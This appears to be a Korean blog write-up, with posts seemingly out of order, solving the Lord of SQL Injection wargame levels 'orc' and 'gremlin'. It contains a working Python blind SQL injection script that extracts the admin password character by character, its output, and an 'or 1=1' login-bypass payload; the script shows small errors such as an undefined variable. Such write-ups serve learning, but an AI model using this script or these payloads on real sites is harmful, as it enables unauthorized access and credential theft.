두개의 쿼리로 구분된다. 편하게 query1, 2로 부르기로 하고, query1부터 확인해보자
Query 1
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo"<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo"<h2>Hello admin</h2>";
query 1은 pw라는 파라미터에 다음과 같은 제한사항을 두며 시작한다.
prob, _(언더바), .(점), \(역 슬래쉬)
query는 get방식으로 가져온 pw파라미터를 이용해서 id='admin' and pw='{$_GET [pw]}'를 실행한다. id를 가져오는 쿼리 결과에 admin레코드가 있으면 hello admin을 출력한다.
Query 2
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
query 2는 pw를 가져온다. query결과에 pw레코드를 가져와서 존재하는지 확인하고, 실재 pw와 우리가 파라미터로 넘긴 pw가 같으면 solve()를 호출한다.
우리는 진짜 pw를 알아야 한다!
저번 문제들과는 다르게 pw 그 자체를 요구하기에 이번에는 우회의 기법으로 해결할 수 없다. 따라서 우리는 새로운 무기가 필요하다
해결방법
Blind SQL Injection
우리는 Orc를 무찌르기 위해 새로운 무기인 Blind SQL Injection을 채용해야 된다. Blind SQL Injection은 무수히 많은 query를 요청하여 값 쿼리에 대한 참/거짓 혹은 변화하는 내용을 기반으로 정보를 get 하는 방법이다. 이번 문제에서는 query1이 Hello admin이라는 문자열을 출력하는 것을 기반으로 Blind SQL Injection을 실행하면 될 거 같다.
import string
from requests import get
if __name__=="__main__" :
url = ##orc 문제 url
cookie = dict(PHPSESSID ="##자신의 PHPSESSIONID 값##")
length = 1
letters = string.digits + string.ascii_letters
password = ''print("### START BLIND SQL INJECTION ###")
print("\n\n### LENGTH of PASSWORD SEARCH ###")
while(True) :
param = "?pw=1%27%20or%20length(pw)="+str(length)+"%20and%20id=%27admin%27--%20%;"
new_url = url+param
req = get(new_url,cookies=cookie)
if (req.text.find("Hello admin")>0) :
print("FIND! password lenght id : "+str(length))
break
length+=1print("\n\n### PASSWORD SEARCH ###")
for i inrange(1,length+1) :
for a in letters :
param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"--%20;"
new_url = url+param
req = get(new_url,cookies=cookie)
if(req.text.find("Hello admin")>0) :
print("find "+str(i)+"'s letter : "+a)
password += a
breakprint("="*25)
print("find password : "+result)
오우! Python코드이다. 젠장 우리에게 왜 이런 시련이 닥친 것일까. 진정하자 코드는 굉장히 단순하다 한줄한줄 살펴보도록 하자. 코드는 정의부, 실행부 1, 2로 나누어 설명한다.
쿠키는 효율적이고 안전한 웹 사용을 보장하기 위해서 호스트에 저장되는 작은 데이터이다. 그중 우리가 이번에 사용할 PHPSESSID라는 쿠키는 세션 값으로, 요청이 누구에서 온 지를 기억한다. 이를 우리 요청에 넣어줌으로 "나의 요청"을 할 수 있는 것이다.
* 홈페이지에서 이동을 할 때 모든 요청에 대해 로그인을 취하지는 않는다. 이를 세션으로 기억해서 쿠키로 넘겨줌으로 서버에서 "아 이 요청은 XXX에서 발송한 거구나"를 인지할 수 있도록 해주는 것이다.
* 실제로 COOKIE에 세션 값을 넣는 행위는 보안 목적으로 좋지 않다. 쿠키는 OPEN 된 값이며, 요청 시 쉽게 노출된다. 따라서 여러 가지 부가적인 인증 메커니즘을 가지는 것이 마땅하지만, Lord of SQL Injection은 wargame사이트이기에 코드 작성을 위해 모든 로그인 정보를 쿠키의 PHPSESSID로 처리한다.
실행부 1의 목적은 pw의 길이를 탐색하는 것이다. 이를 달성하기 위해 선택한 방법은 guest의 pw를 1로 설정하고(1은 guest의 pw가 아니다. guest레코드가 탐색되는 것을 방지하기 위한 대책이다.) length변수를 하나씩 증가시키며 DataBase함수인 length(pw)를 활용해 admin 레코드 추출에 성공한 "Hello admin"이 응답에 포함되는지 가져오는 것이다.
### START BLIND SQL INJECTION ###
### LENGTH of PASSWORD SEARCH ###
FIND! password lenght id : 8
이를 통해 알아낸 PW의 길이는 8이다. 웹페이지에서 보면 다음과 같다.
* 응? pw에 음영 들어갔네? 무시하자
거의 다 왔다. 다음은 실행부 2이다.
실행부 2
print("\n\n### PASSWORD SEARCH ###")
for i inrange(1,length+1) :
for a in letters :
param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"--%20;"
new_url = url+param
req = get(new_url,cookies=cookie)
if(req.text.find("Hello admin")>0) :
print("find "+str(i)+"'s letter : "+a)
password += a
breakprint("="*25)
print("find password : "+result)
실행부 2의 목적은 알아낸 길이로 실제 pw를 찾아내는 것이다. 다음의 DataBase함수가 사용된다.
1. ASCII(parameter) : 전달된 한 글자 parameter의 ASCII값을 출력한다.
2. SUBSTR(letter, index, length) : 첫 번째 파라미터인 letter에서 index부터 length개의 값을 추출한다. 이번 문제에서는 pw의 첫 번째~마지막 글자를 하나씩 추출하는 데 사용된다.
우선 길이만큼 반복문을 사용하였다. param변수를 보면 우리가 GET으로 요청할 pw파라미터의 정의가 보인다.
앞부분은 우리가 알던 SQL INJECTION과 같으니 넘어가고, ASCII(SUBSTR(pw, "+str(i)+",1))="+str(ord(a))+"--%20;"을 보면 위에 함수 설명대로 pw의 한문자를 빼 온 다음 모든 영숫자로 정의된 letters의 반복자와 비교하여 로그인에 성공한 Hello admin문자열이 있으면 password에 문자열을 더해주는 동작을 한다.
이로써 알아낸 admin의 pw는 다음과 같다.
### PASSWORD SEARCH ###
find 1's letter : 0
find 2's letter : 9
find 3's letter : 5
find 4's letter : a
find 5's letter : 9
find 6's letter : 8
find 7's letter : 5
find 8's letter : 2
=========================
find password : 095a9852
가... 강적이었다.... 그래도 우리는 강력한 무기인 Blind SQL Injection의 도움으로 이 몬스터를 물리칠 수 있었다. Blind SQL Injection은 여러 가지 변형된 형태가 많다. 기초가 중요한 법이니, 이해가 어렵다면 여러 번 읽고, 다음 관문으로 넘어오도록 하자
PHP 코드를 열면 다음과 같은 코드가 우리를 반긴다. 첫 시작이니 하나하나 코드를 분석해 보자
<?php// 그렇다 이 웹문서는 php로 제작되었다.include"./config.php";
login_chk(); // ./config.php에 정의된 함수이다.$db = dbconnect(); // ./config.php에 정의된 함수이다.
으흠 아직까진 특이점이 없어보인다. 계속 코드를 분석해보자
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
오호 이제 중요한 특징이 나온다. 이곳이 안정성을 담당하는 필터링 코드이다. 우리는 이곳을 우회해야한다.
php의 preg_match이라는 함수는 첫 번째 파라미터로 전달된 문자열들이(파이프| 로 구분한다.) 두 번째 파라미터로 전달된 값에 포함되면 매치 성공을 의미하는 1을 반환하는 함수이다.
즉 우리는 get방식으로 전달되는 id와 pw값에 prob, _,., \, 등을 적을 수 없으며.(뒤의 /i는 대소문자의 구별을 하지 않겠다는 의미이다. 이번 코드에는 의미가 없다.) preg_match의 조건문이 실행되었을 때 exit함수로 웹페이지를 종료하는 코드이다.
필터링을 거친 코드는 다음과 같다.
<?php
…
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo"<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
…
?>
우리가 공략해야 될 SQL문이 보인다. $query에 get으로보낸 id와 pw를 전달한다.
일단 urlencoding을 모르는 사람들을 위해서 >> space(공백)은 %20이 되고, 작은따옴표(')는 %27이 된다.
id 파라미터로 admin%27 or 1=1-- ;을 입력하면 해결된다. 코드에 있던 $query에 입력된 모양은 다음과 같다.
$query = "select id from prob_gremlin where id='admin' or 1=1-- ;' and pw='{$_GET[pw]}'";
즉 id가 뭔지는 모르지만 admin을 넣어주고(뭘 넣어도 의미 없다.) 작은따옴표를 닫아줌으로써 우리는 query문자열에 파라미터 id를 넣는 것이 아닌 코드에 직접 접근할 수 있게 되었다.
그 후 or 1=1(무조건 참)을 넣어주어 모든 레코드를 가져오도록 지시하였고, query뒤에 있던 "and pw='{$_GET [pw]}'";는 실행되지 않도록 뒤에 ①SQL주석을 의미하는 --와 ②코드의 끝을 의미하는 ;를 넣어 그냥 $query를 닫아 버렸다(!!)
Lord of SQL Injection 던전에서 첫 몬스터를 잡은 영광의 축배를 들자. 다음 포스팅부터는 기본적인 내용은 제외하고 설명할 것이라서 간단하게 설명될 것이다. 축하한다!
약 1년전 열심히 풀었던 SQL Injection Hack Web인 Lord Of SQL Injection의 문제풀이를 적어두려고한다. 필자또한 독자와 같이 새로운 계정을 생성해서 처음부터 문제를 풀어나가보려고한다.
Lord of SQL Injection은 SQL injection의 입문으로, 또한 이미 SQL Injecion에 통달한 사람들에게도 되새김 할 수 있는 좋은 홈페이지이니 SQL Injection에 관심있는 사람이라면 가벼운 마음으로 읽어보면 좋을 거 같다. * 재미도 있다. 던전형식을 오마주한Hack Web이다.